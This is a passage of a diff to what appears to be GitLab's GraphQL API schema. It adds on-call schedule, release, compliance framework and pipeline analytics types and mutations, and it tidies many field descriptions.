@@ -12986,7 +13847,7 @@ input MergeRequestSetAssigneesInput {
clientMutationId: String
"""
- The iid of the merge request to mutate
+ The IID of the merge request to mutate
"""
iid: String!
@@ -13031,7 +13892,7 @@ input MergeRequestSetLabelsInput {
clientMutationId: String
"""
- The iid of the merge request to mutate
+ The IID of the merge request to mutate
"""
iid: String!
@@ -13081,7 +13942,7 @@ input MergeRequestSetLockedInput {
clientMutationId: String
"""
- The iid of the merge request to mutate
+ The IID of the merge request to mutate
"""
iid: String!
@@ -13126,7 +13987,7 @@ input MergeRequestSetMilestoneInput {
clientMutationId: String
"""
- The iid of the merge request to mutate
+ The IID of the merge request to mutate
"""
iid: String!
@@ -13171,7 +14032,7 @@ input MergeRequestSetSubscriptionInput {
clientMutationId: String
"""
- The iid of the merge request to mutate
+ The IID of the merge request to mutate
"""
iid: String!
@@ -13216,7 +14077,7 @@ input MergeRequestSetWipInput {
clientMutationId: String
"""
- The iid of the merge request to mutate
+ The IID of the merge request to mutate
"""
iid: String!
@@ -13318,22 +14179,22 @@ enum MergeRequestSort {
"""
Created at ascending order
"""
- created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5")
+ created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5.")
"""
Created at descending order
"""
- created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5")
+ created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5.")
"""
Updated at ascending order
"""
- updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5")
+ updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5.")
"""
Updated at descending order
"""
- updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5")
+ updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5.")
}
"""
@@ -13362,7 +14223,7 @@ input MergeRequestUpdateInput {
description: String
"""
- The iid of the merge request to mutate
+ The IID of the merge request to mutate
"""
iid: String!
@@ -13414,6 +14275,36 @@ type Metadata {
version: String!
}
+"""
+Represents a metric image upload
+"""
+type MetricImage {
+ """
+ File name of the metric image
+ """
+ fileName: String
+
+ """
+ File path of the metric image
+ """
+ filePath: String
+
+ """
+ ID of the metric upload
+ """
+ id: ID!
+
+ """
+ Internal ID of the metric upload
+ """
+ iid: ID!
+
+ """
+ URL of the metric source
+ """
+ url: String!
+}
+
type MetricsDashboard {
"""
Annotations added to the dashboard
@@ -13679,7 +14570,7 @@ enum MoveType {
}
type Mutation {
- addAwardEmoji(input: AddAwardEmojiInput!): AddAwardEmojiPayload @deprecated(reason: "Use awardEmojiAdd. Deprecated in 13.2")
+ addAwardEmoji(input: AddAwardEmojiInput!): AddAwardEmojiPayload @deprecated(reason: "Use awardEmojiAdd. Deprecated in 13.2.")
addProjectToSecurityDashboard(input: AddProjectToSecurityDashboardInput!): AddProjectToSecurityDashboardPayload
adminSidekiqQueuesDeleteJobs(input: AdminSidekiqQueuesDeleteJobsInput!): AdminSidekiqQueuesDeleteJobsPayload
alertSetAssignees(input: AlertSetAssigneesInput!): AlertSetAssigneesPayload
@@ -13699,11 +14590,13 @@ type Mutation {
createBoard(input: CreateBoardInput!): CreateBoardPayload
createBranch(input: CreateBranchInput!): CreateBranchPayload
createClusterAgent(input: CreateClusterAgentInput!): CreateClusterAgentPayload
+ createComplianceFramework(input: CreateComplianceFrameworkInput!): CreateComplianceFrameworkPayload
"""
- . Available only when feature flag `custom_emoji` is enabled
+ Available only when feature flag `custom_emoji` is enabled.
"""
createCustomEmoji(input: CreateCustomEmojiInput!): CreateCustomEmojiPayload
+ createDevopsAdoptionSegment(input: CreateDevopsAdoptionSegmentInput!): CreateDevopsAdoptionSegmentPayload
createDiffNote(input: CreateDiffNoteInput!): CreateDiffNotePayload
createEpic(input: CreateEpicInput!): CreateEpicPayload
createImageDiffNote(input: CreateImageDiffNoteInput!): CreateImageDiffNotePayload
@@ -13723,12 +14616,15 @@ type Mutation {
dastSiteTokenCreate(input: DastSiteTokenCreateInput!): DastSiteTokenCreatePayload
dastSiteValidationCreate(input: DastSiteValidationCreateInput!): DastSiteValidationCreatePayload
deleteAnnotation(input: DeleteAnnotationInput!): DeleteAnnotationPayload
+ deleteDevopsAdoptionSegment(input: DeleteDevopsAdoptionSegmentInput!): DeleteDevopsAdoptionSegmentPayload
designManagementDelete(input: DesignManagementDeleteInput!): DesignManagementDeletePayload
designManagementMove(input: DesignManagementMoveInput!): DesignManagementMovePayload
designManagementUpload(input: DesignManagementUploadInput!): DesignManagementUploadPayload
destroyBoard(input: DestroyBoardInput!): DestroyBoardPayload
destroyBoardList(input: DestroyBoardListInput!): DestroyBoardListPayload
+ destroyComplianceFramework(input: DestroyComplianceFrameworkInput!): DestroyComplianceFrameworkPayload
destroyContainerRepository(input: DestroyContainerRepositoryInput!): DestroyContainerRepositoryPayload
+ destroyContainerRepositoryTags(input: DestroyContainerRepositoryTagsInput!): DestroyContainerRepositoryTagsPayload
destroyNote(input: DestroyNoteInput!): DestroyNotePayload
destroySnippet(input: DestroySnippetInput!): DestroySnippetPayload
@@ -13736,7 +14632,7 @@ type Mutation {
Toggles the resolved state of a discussion
"""
discussionToggleResolve(input: DiscussionToggleResolveInput!): DiscussionToggleResolvePayload
- dismissVulnerability(input: DismissVulnerabilityInput!): DismissVulnerabilityPayload @deprecated(reason: "Use vulnerabilityDismiss. Deprecated in 13.5")
+ dismissVulnerability(input: DismissVulnerabilityInput!): DismissVulnerabilityPayload @deprecated(reason: "Use vulnerabilityDismiss. Deprecated in 13.5.")
environmentsCanaryIngressUpdate(input: EnvironmentsCanaryIngressUpdateInput!): EnvironmentsCanaryIngressUpdatePayload
epicAddIssue(input: EpicAddIssueInput!): EpicAddIssuePayload
epicSetSubscription(input: EpicSetSubscriptionInput!): EpicSetSubscriptionPayload
@@ -13773,6 +14669,9 @@ type Mutation {
"""
mergeRequestUpdate(input: MergeRequestUpdateInput!): MergeRequestUpdatePayload
namespaceIncreaseStorageTemporarily(input: NamespaceIncreaseStorageTemporarilyInput!): NamespaceIncreaseStorageTemporarilyPayload
+ oncallScheduleCreate(input: OncallScheduleCreateInput!): OncallScheduleCreatePayload
+ oncallScheduleDestroy(input: OncallScheduleDestroyInput!): OncallScheduleDestroyPayload
+ oncallScheduleUpdate(input: OncallScheduleUpdateInput!): OncallScheduleUpdatePayload
pipelineCancel(input: PipelineCancelInput!): PipelineCancelPayload
pipelineDestroy(input: PipelineDestroyInput!): PipelineDestroyPayload
pipelineRetry(input: PipelineRetryInput!): PipelineRetryPayload
@@ -13781,15 +14680,17 @@ type Mutation {
prometheusIntegrationUpdate(input: PrometheusIntegrationUpdateInput!): PrometheusIntegrationUpdatePayload
promoteToEpic(input: PromoteToEpicInput!): PromoteToEpicPayload
releaseCreate(input: ReleaseCreateInput!): ReleaseCreatePayload
- removeAwardEmoji(input: RemoveAwardEmojiInput!): RemoveAwardEmojiPayload @deprecated(reason: "Use awardEmojiRemove. Deprecated in 13.2")
+ releaseDelete(input: ReleaseDeleteInput!): ReleaseDeletePayload
+ releaseUpdate(input: ReleaseUpdateInput!): ReleaseUpdatePayload
+ removeAwardEmoji(input: RemoveAwardEmojiInput!): RemoveAwardEmojiPayload @deprecated(reason: "Use awardEmojiRemove. Deprecated in 13.2.")
removeProjectFromSecurityDashboard(input: RemoveProjectFromSecurityDashboardInput!): RemoveProjectFromSecurityDashboardPayload
"""
Repositions a DiffNote on an image (a `Note` where the `position.positionType` is `"image"`)
"""
repositionImageDiffNote(input: RepositionImageDiffNoteInput!): RepositionImageDiffNotePayload
- revertVulnerabilityToDetected(input: RevertVulnerabilityToDetectedInput!): RevertVulnerabilityToDetectedPayload @deprecated(reason: "Use vulnerabilityRevertToDetected. Deprecated in 13.5")
- runDastScan(input: RunDASTScanInput!): RunDASTScanPayload @deprecated(reason: "Use DastOnDemandScanCreate. Deprecated in 13.4")
+ revertVulnerabilityToDetected(input: RevertVulnerabilityToDetectedInput!): RevertVulnerabilityToDetectedPayload @deprecated(reason: "Use vulnerabilityRevertToDetected. Deprecated in 13.5.")
+ runDastScan(input: RunDASTScanInput!): RunDASTScanPayload @deprecated(reason: "Use DastOnDemandScanCreate. Deprecated in 13.4.")
terraformStateDelete(input: TerraformStateDeleteInput!): TerraformStateDeletePayload
terraformStateLock(input: TerraformStateLockInput!): TerraformStateLockPayload
terraformStateUnlock(input: TerraformStateUnlockInput!): TerraformStateUnlockPayload
@@ -13798,12 +14699,14 @@ type Mutation {
todoRestore(input: TodoRestoreInput!): TodoRestorePayload
todoRestoreMany(input: TodoRestoreManyInput!): TodoRestoreManyPayload
todosMarkAllDone(input: TodosMarkAllDoneInput!): TodosMarkAllDonePayload
- toggleAwardEmoji(input: ToggleAwardEmojiInput!): ToggleAwardEmojiPayload @deprecated(reason: "Use awardEmojiToggle. Deprecated in 13.2")
+ toggleAwardEmoji(input: ToggleAwardEmojiInput!): ToggleAwardEmojiPayload @deprecated(reason: "Use awardEmojiToggle. Deprecated in 13.2.")
updateAlertStatus(input: UpdateAlertStatusInput!): UpdateAlertStatusPayload
updateBoard(input: UpdateBoardInput!): UpdateBoardPayload
updateBoardEpicUserPreferences(input: UpdateBoardEpicUserPreferencesInput!): UpdateBoardEpicUserPreferencesPayload
updateBoardList(input: UpdateBoardListInput!): UpdateBoardListPayload
+ updateComplianceFramework(input: UpdateComplianceFrameworkInput!): UpdateComplianceFrameworkPayload
updateContainerExpirationPolicy(input: UpdateContainerExpirationPolicyInput!): UpdateContainerExpirationPolicyPayload
+ updateDevopsAdoptionSegment(input: UpdateDevopsAdoptionSegmentInput!): UpdateDevopsAdoptionSegmentPayload
updateEpic(input: UpdateEpicInput!): UpdateEpicPayload
"""
@@ -13824,6 +14727,8 @@ type Mutation {
updateSnippet(input: UpdateSnippetInput!): UpdateSnippetPayload
vulnerabilityConfirm(input: VulnerabilityConfirmInput!): VulnerabilityConfirmPayload
vulnerabilityDismiss(input: VulnerabilityDismissInput!): VulnerabilityDismissPayload
+ vulnerabilityExternalIssueLinkCreate(input: VulnerabilityExternalIssueLinkCreateInput!): VulnerabilityExternalIssueLinkCreatePayload
+ vulnerabilityExternalIssueLinkDestroy(input: VulnerabilityExternalIssueLinkDestroyInput!): VulnerabilityExternalIssueLinkDestroyPayload
vulnerabilityResolve(input: VulnerabilityResolveInput!): VulnerabilityResolvePayload
vulnerabilityRevertToDetected(input: VulnerabilityRevertToDetectedInput!): VulnerabilityRevertToDetectedPayload
}
@@ -13860,6 +14765,32 @@ type Namespace {
additionalPurchasedStorageSize: Float
"""
+ Compliance frameworks available to projects in this namespace Available only
+ when feature flag `ff_custom_compliance_frameworks` is enabled.
+ """
+ complianceFrameworks(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): ComplianceFrameworkConnection
+
+ """
Includes at least one project where the repository size exceeds the limit
"""
containsLockedProjects: Boolean!
@@ -14045,7 +14976,7 @@ input NamespaceIncreaseStorageTemporarilyInput {
clientMutationId: String
"""
- The global id of the namespace to mutate
+ The global ID of the namespace to mutate
"""
id: NamespaceID!
}
@@ -14349,6 +15280,151 @@ Identifier of Noteable
scalar NoteableID
"""
+Autogenerated input type of OncallScheduleCreate
+"""
+input OncallScheduleCreateInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The description of the on-call schedule
+ """
+ description: String
+
+ """
+ The name of the on-call schedule
+ """
+ name: String!
+
+ """
+ The project to create the on-call schedule in
+ """
+ projectPath: ID!
+
+ """
+ The timezone of the on-call schedule
+ """
+ timezone: String!
+}
+
+"""
+Autogenerated return type of OncallScheduleCreate
+"""
+type OncallScheduleCreatePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The on-call schedule
+ """
+ oncallSchedule: IncidentManagementOncallSchedule
+}
+
+"""
+Autogenerated input type of OncallScheduleDestroy
+"""
+input OncallScheduleDestroyInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The on-call schedule internal ID to remove
+ """
+ iid: String!
+
+ """
+ The project to remove the on-call schedule from
+ """
+ projectPath: ID!
+}
+
+"""
+Autogenerated return type of OncallScheduleDestroy
+"""
+type OncallScheduleDestroyPayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The on-call schedule
+ """
+ oncallSchedule: IncidentManagementOncallSchedule
+}
+
+"""
+Autogenerated input type of OncallScheduleUpdate
+"""
+input OncallScheduleUpdateInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ The description of the on-call schedule
+ """
+ description: String
+
+ """
+ The on-call schedule internal ID to update
+ """
+ iid: String!
+
+ """
+ The name of the on-call schedule
+ """
+ name: String
+
+ """
+ The project to update the on-call schedule in
+ """
+ projectPath: ID!
+
+ """
+ The timezone of the on-call schedule
+ """
+ timezone: String
+}
+
+"""
+Autogenerated return type of OncallScheduleUpdate
+"""
+type OncallScheduleUpdatePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The on-call schedule
+ """
+ oncallSchedule: IncidentManagementOncallSchedule
+}
+
+"""
Represents a package
"""
type Package {
@@ -14572,6 +15648,11 @@ type PageInfo {
type Pipeline {
"""
+ Indicates if the pipeline is active
+ """
+ active: Boolean!
+
+ """
Base SHA of the source branch
"""
beforeSha: String
@@ -14770,6 +15851,63 @@ type Pipeline {
userPermissions: PipelinePermissions!
}
+type PipelineAnalytics {
+ """
+ Labels for the monthly pipeline count
+ """
+ monthPipelinesLabels: [String!]
+
+ """
+ Total monthly successful pipeline count
+ """
+ monthPipelinesSuccessful: [Int!]
+
+ """
+ Total monthly pipeline count
+ """
+ monthPipelinesTotals: [Int!]
+
+ """
+ Pipeline times labels
+ """
+ pipelineTimesLabels: [String!]
+
+ """
+ Pipeline times
+ """
+ pipelineTimesValues: [Int!]
+
+ """
+ Labels for the weekly pipeline count
+ """
+ weekPipelinesLabels: [String!]
+
+ """
+ Total weekly successful pipeline count
+ """
+ weekPipelinesSuccessful: [Int!]
+
+ """
+ Total weekly pipeline count
+ """
+ weekPipelinesTotals: [Int!]
+
+ """
+ Labels for the yearly pipeline count
+ """
+ yearPipelinesLabels: [String!]
+
+ """
+ Total yearly successful pipeline count
+ """
+ yearPipelinesSuccessful: [Int!]
+
+ """
+ Total yearly pipeline count
+ """
+ yearPipelinesTotals: [Int!]
+}
+
"""
Autogenerated input type of PipelineCancel
"""
@@ -14780,7 +15918,7 @@ input PipelineCancelInput {
clientMutationId: String
"""
- The id of the pipeline to mutate
+ The ID of the pipeline to mutate
"""
id: CiPipelineID!
}
@@ -14846,7 +15984,7 @@ input PipelineDestroyInput {
clientMutationId: String
"""
- The id of the pipeline to mutate
+ The ID of the pipeline to mutate
"""
id: CiPipelineID!
}
@@ -14908,7 +16046,7 @@ input PipelineRetryInput {
clientMutationId: String
"""
- The id of the pipeline to mutate
+ The ID of the pipeline to mutate
"""
id: CiPipelineID!
}
@@ -14963,6 +16101,11 @@ type Project {
assigneeUsername: String
"""
+ Filter query for given domain
+ """
+ domain: AlertManagementDomainFilter! = operations
+
+ """
IID of the alert. For example, "1"
"""
iid: String
@@ -15018,6 +16161,11 @@ type Project {
before: String
"""
+ Filter query for given domain
+ """
+ domain: AlertManagementDomainFilter! = operations
+
+ """
Returns the first _n_ elements from the list.
"""
first: Int
@@ -15135,6 +16283,11 @@ type Project {
): BoardConnection
"""
+ CI/CD settings for the project
+ """
+ ciCdSettings: ProjectCiCdSetting
+
+ """
Find a single cluster agent by name
"""
clusterAgent(
@@ -15240,6 +16393,11 @@ type Project {
): ContainerRepositoryConnection
"""
+ Number of container repositories in the project
+ """
+ containerRepositoriesCount: Int!
+
+ """
Timestamp of the project creation
"""
createdAt: Time
@@ -15305,16 +16463,53 @@ type Project {
): DastSiteProfileConnection
"""
- DAST Site Validation associated with the project
+ DAST Site Validation associated with the project. Will always return `null` if
+ `security_on_demand_scans_site_validation` is disabled
"""
dastSiteValidation(
"""
- target URL of the DAST Site Validation
+ Normalized URL of the target to be scanned
+ """
+ normalizedTargetUrls: [String!]
+
+ """
+ URL of the target to be scanned
"""
targetUrl: String!
): DastSiteValidation
"""
+ DAST Site Validations associated with the project. Will always return no nodes
+ if `security_on_demand_scans_site_validation` is disabled
+ """
+ dastSiteValidations(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+
+ """
+ Normalized URL of the target to be scanned
+ """
+ normalizedTargetUrls: [String!]
+ ): DastSiteValidationConnection
+
+ """
Short description of the project
"""
description: String
@@ -15420,6 +16615,31 @@ type Project {
importStatus: String
"""
+ Incident Management On-call schedules of the project
+ """
+ incidentManagementOncallSchedules(
+ """
+ Returns the elements in the list that come after the specified cursor.
+ """
+ after: String
+
+ """
+ Returns the elements in the list that come before the specified cursor.
+ """
+ before: String
+
+ """
+ Returns the first _n_ elements from the list.
+ """
+ first: Int
+
+ """
+ Returns the last _n_ elements from the list.
+ """
+ last: Int
+ ): IncidentManagementOncallScheduleConnection
+
+ """
A single issue of the project
"""
issue(
@@ -15755,7 +16975,7 @@ type Project {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use timeframe.end
+ date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.
"""
endDate: Time
@@ -15765,17 +16985,17 @@ type Project {
first: Int
"""
- The ID of the Iteration to look up
+ Global ID of the Iteration to look up.
"""
id: ID
"""
- The internal ID of the Iteration to look up
+ Internal ID of the Iteration to look up.
"""
iid: ID
"""
- Whether to include ancestor iterations. Defaults to true
+ Whether to include ancestor iterations. Defaults to true.
"""
includeAncestors: Boolean
@@ -15786,13 +17006,13 @@ type Project {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use
- timeframe.start
+ date is provided, both must be present) Deprecated in 13.5: Use
+ timeframe.start.
"""
startDate: Time
"""
- Filter iterations by state
+ Filter iterations by state.
"""
state: IterationState
@@ -15802,7 +17022,7 @@ type Project {
timeframe: Timeframe
"""
- Fuzzy search by title
+ Fuzzy search by title.
"""
title: String
): IterationConnection
@@ -15962,6 +17182,11 @@ type Project {
milestoneTitle: String
"""
+ Username of the reviewer
+ """
+ reviewerUsername: String
+
+ """
Sort merge requests by this criteria
"""
sort: MergeRequestSort = created_desc
@@ -16015,7 +17240,7 @@ type Project {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use timeframe.end
+ date is provided, both must be present) Deprecated in 13.5: Use timeframe.end.
"""
endDate: Time
@@ -16046,8 +17271,8 @@ type Project {
"""
List items overlapping a time frame defined by startDate..endDate (if one
- date is provided, both must be present). Deprecated in 13.5: Use
- timeframe.start
+ date is provided, both must be present) Deprecated in 13.5: Use
+ timeframe.start.
"""
startDate: Time
@@ -16138,6 +17363,11 @@ type Project {
): Pipeline
"""
+ Pipeline analytics
+ """
+ pipelineAnalytics: PipelineAnalytics
+
+ """
Build pipelines of the project
"""
pipelines(
@@ -16208,6 +17438,11 @@ type Project {
last: Int
"""
+ Filter members by the given member relations
+ """
+ relations: [ProjectMemberRelation!] = [DIRECT, INHERITED]
+
+ """
Search query
"""
search: String
@@ -16494,6 +17729,11 @@ type Project {
snippetsEnabled: Boolean
"""
+ Indicates if squash readonly is enabled
+ """
+ squashReadOnly: Boolean!
+
+ """
URL to connect to the project via SSH
"""
sshUrlToRepo: String
@@ -16544,6 +17784,11 @@ type Project {
): TerraformStateConnection
"""
+ Total pipeline duration for all of the pipelines in a project
+ """
+ totalPipelineDuration: Int
+
+ """
Permissions for the current user on the resource
"""
userPermissions: ProjectPermissions!
@@ -16719,6 +17964,23 @@ type Project {
wikiEnabled: Boolean
}
+type ProjectCiCdSetting {
+ """
+ Whether merge pipelines are enabled.
+ """
+ mergePipelinesEnabled: Boolean
+
+ """
+ Whether merge trains are enabled.
+ """
+ mergeTrainsEnabled: Boolean
+
+ """
+ Project the CI/CD settings belong to.
+ """
+ project: Project
+}
+
"""
The connection type for Project.
"""
@@ -16844,6 +18106,31 @@ type ProjectMemberEdge {
node: ProjectMember
}
+"""
+Project member relation
+"""
+enum ProjectMemberRelation {
+ """
+ Descendants members
+ """
+ DESCENDANTS
+
+ """
+ Direct members
+ """
+ DIRECT
+
+ """
+ Inherited members
+ """
+ INHERITED
+
+ """
+ Invited Groups members
+ """
+ INVITED_GROUPS
+}
+
type ProjectPermissions {
"""
Indicates the user can perform `admin_operations` on this resource
@@ -17173,7 +18460,7 @@ input PrometheusIntegrationResetTokenInput {
clientMutationId: String
"""
- The id of the integration to mutate
+ The ID of the integration to mutate
"""
id: PrometheusServiceID!
}
@@ -17218,7 +18505,7 @@ input PrometheusIntegrationUpdateInput {
clientMutationId: String
"""
- The id of the integration to mutate
+ The ID of the integration to mutate
"""
id: PrometheusServiceID!
}
@@ -17300,6 +18587,16 @@ type PromoteToEpicPayload {
type Query {
"""
+ Get linted and processed contents of a CI config. Should not be requested more than once per request.
+ """
+ ciConfig(
+ """
+ Contents of .gitlab-ci.yml
+ """
+ content: String!
+ ): CiConfig
+
+ """
Find a container repository
"""
containerRepository(
@@ -17791,8 +19088,8 @@ type Query {
"""
Number of vulnerabilities per severity level, per day, for the projects on the
- current user's instance security dashboard. Deprecated in 13.3: Use
- `vulnerabilitiesCountByDay`
+ current user's instance security dashboard Deprecated in 13.3: Use
+ `vulnerabilitiesCountByDay`.
"""
vulnerabilitiesCountByDayAndSeverity(
"""
@@ -17824,7 +19121,7 @@ type Query {
First day for which to fetch vulnerability history
"""
startDate: ISO8601Date!
- ): VulnerabilitiesCountByDayAndSeverityConnection @deprecated(reason: "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3")
+ ): VulnerabilitiesCountByDayAndSeverityConnection @deprecated(reason: "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3.")
"""
Find a vulnerability
@@ -18263,6 +19560,46 @@ type ReleaseCreatePayload {
}
"""
+Autogenerated input type of ReleaseDelete
+"""
+input ReleaseDeleteInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Full path of the project the release is associated with
+ """
+ projectPath: ID!
+
+ """
+ Name of the tag associated with the release to delete.
+ """
+ tagName: String!
+}
+
+"""
+Autogenerated return type of ReleaseDelete
+"""
+type ReleaseDeletePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The deleted release.
+ """
+ release: Release
+}
+
+"""
An edge in a connection.
"""
type ReleaseEdge {
@@ -18450,11 +19787,71 @@ type ReleaseSourceEdge {
}
"""
+Autogenerated input type of ReleaseUpdate
+"""
+input ReleaseUpdateInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Description (release notes) of the release
+ """
+ description: String
+
+ """
+ The title of each milestone the release is associated with. GitLab Premium customers can specify group milestones.
+ """
+ milestones: [String!]
+
+ """
+ Name of the release
+ """
+ name: String
+
+ """
+ Full path of the project the release is associated with
+ """
+ projectPath: ID!
+
+ """
+ The release date
+ """
+ releasedAt: Time
+
+ """
+ Name of the tag associated with the release
+ """
+ tagName: String!
+}
+
+"""
+Autogenerated return type of ReleaseUpdate
+"""
+type ReleaseUpdatePayload {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ Errors encountered during execution of the mutation.
+ """
+ errors: [String!]!
+
+ """
+ The release after mutation.
+ """
+ release: Release
+}
+
+"""
Autogenerated input type of RemoveAwardEmoji
"""
input RemoveAwardEmojiInput {
"""
- The global id of the awardable resource
+ The global ID of the awardable resource
"""
awardableId: AwardableID!
@@ -18529,7 +19926,7 @@ input RepositionImageDiffNoteInput {
clientMutationId: String
"""
- The global id of the DiffNote to update
+ The global ID of the DiffNote to update
"""
id: DiffNoteID!
@@ -20172,6 +21569,7 @@ enum ServiceType {
CAMPFIRE_SERVICE
CONFLUENCE_SERVICE
CUSTOM_ISSUE_TRACKER_SERVICE
+ DATADOG_SERVICE
DISCORD_SERVICE
DRONE_CI_SERVICE
EMAILS_ON_PUSH_SERVICE
@@ -20211,9 +21609,9 @@ type Snippet implements Noteable {
author: User
"""
- Snippet blob. Deprecated in 13.3: Use `blobs`
+ Snippet blob Deprecated in 13.3: Use `blobs`.
"""
- blob: SnippetBlob! @deprecated(reason: "Use `blobs`. Deprecated in 13.3")
+ blob: SnippetBlob! @deprecated(reason: "Use `blobs`. Deprecated in 13.3.")
"""
Snippet blobs
@@ -20720,22 +22118,22 @@ enum Sort {
"""
Created at ascending order
"""
- created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5")
+ created_asc @deprecated(reason: "Use CREATED_ASC. Deprecated in 13.5.")
"""
Created at descending order
"""
- created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5")
+ created_desc @deprecated(reason: "Use CREATED_DESC. Deprecated in 13.5.")
"""
Updated at ascending order
"""
- updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5")
+ updated_asc @deprecated(reason: "Use UPDATED_ASC. Deprecated in 13.5.")
"""
Updated at descending order
"""
- updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5")
+ updated_desc @deprecated(reason: "Use UPDATED_DESC. Deprecated in 13.5.")
}
type StatusAction {
@@ -21041,6 +22439,11 @@ type TerraformStateVersion {
createdByUser: User
"""
+ URL for downloading the version's JSON file
+ """
+ downloadPath: String
+
+ """
ID of the Terraform state version
"""
id: ID!
@@ -21051,6 +22454,11 @@ type TerraformStateVersion {
job: CiJob
"""
+ Serial number of the version
+ """
+ serial: Int
+
+ """
Timestamp the version was updated
"""
updatedAt: Time!
@@ -21488,7 +22896,7 @@ input TodoMarkDoneInput {
clientMutationId: String
"""
- The global id of the todo to mark as done
+ The global ID of the todo to mark as done
"""
id: TodoID!
}
@@ -21523,7 +22931,7 @@ input TodoRestoreInput {
clientMutationId: String
"""
- The global id of the todo to restore
+ The global ID of the todo to restore
"""
id: TodoID!
}
@@ -21538,7 +22946,7 @@ input TodoRestoreManyInput {
clientMutationId: String
"""
- The global ids of the todos to restore (a maximum of 50 is supported at once)
+ The global IDs of the todos to restore (a maximum of 50 is supported at once)
"""
ids: [TodoID!]!
}
@@ -21563,9 +22971,9 @@ type TodoRestoreManyPayload {
todos: [Todo!]!
"""
- The ids of the updated todo items. Deprecated in 13.2: Use todos
+ The IDs of the updated todo items Deprecated in 13.2: Use todos.
"""
- updatedIds: [TodoID!]! @deprecated(reason: "Use todos. Deprecated in 13.2")
+ updatedIds: [TodoID!]! @deprecated(reason: "Use todos. Deprecated in 13.2.")
}
"""
@@ -21660,9 +23068,9 @@ type TodosMarkAllDonePayload {
todos: [Todo!]!
"""
- Ids of the updated todos. Deprecated in 13.2: Use todos
+ Ids of the updated todos Deprecated in 13.2: Use todos.
"""
- updatedIds: [TodoID!]! @deprecated(reason: "Use todos. Deprecated in 13.2")
+ updatedIds: [TodoID!]! @deprecated(reason: "Use todos. Deprecated in 13.2.")
}
"""
@@ -21670,7 +23078,7 @@ Autogenerated input type of ToggleAwardEmoji
"""
input ToggleAwardEmojiInput {
"""
- The global id of the awardable resource
+ The global ID of the awardable resource
"""
awardableId: AwardableID!
@@ -21892,7 +23300,7 @@ input UpdateAlertStatusInput {
clientMutationId: String
"""
- The iid of the alert to mutate
+ The IID of the alert to mutate
"""
iid: String!
@@ -21987,54 +23395,29 @@ Autogenerated input type of UpdateBoard
"""
input UpdateBoardInput {
"""
- The id of user to be assigned to the board.
- """
- assigneeId: UserID
-
- """
A unique identifier for the client performing the mutation.
"""
clientMutationId: String
"""
- Whether or not backlog list is hidden.
+ Whether or not backlog list is hidden
"""
hideBacklogList: Boolean
"""
- Whether or not closed list is hidden.
+ Whether or not closed list is hidden
"""
hideClosedList: Boolean
"""
- The board global id.
+ The board global ID.
"""
id: BoardID!
"""
- The IDs of labels to be added to the board.
- """
- labelIds: [LabelID!]
-
- """
- Labels of the issue
- """
- labels: [String!]
-
- """
- The id of milestone to be assigned to the board.
- """
- milestoneId: MilestoneID
-
- """
- Name of the board
+ The board name.
"""
name: String
-
- """
- The weight value to be assigned to the board.
- """
- weight: Int
}
"""
@@ -22103,6 +23486,56 @@ type UpdateBoardPayload {
}
"""
+Autogenerated input type of UpdateComplianceFramework
+"""
+input UpdateComplianceFrameworkInput {
+ """
+ A unique identifier for the client performing the mutation.
+ """
+ clientMutationId: String
+
+ """
+ New color representation of the compliance framework in hex format. e.g. #FCA121
+ """
+ color: String
+
+ """
+ New description for the compliance framework
+ """
+ description: String
+
+ """
+ The global ID of the compliance framework to update
+ """
+ id: ComplianceManagementFrameworkID!
+
+ """
+ New name for the compliance framework
+ """
+ name: String
+}
+
+"""
+Autogenerated return type of UpdateComplianceFramework
+"""
+type UpdateComplianceFrameworkPayload {
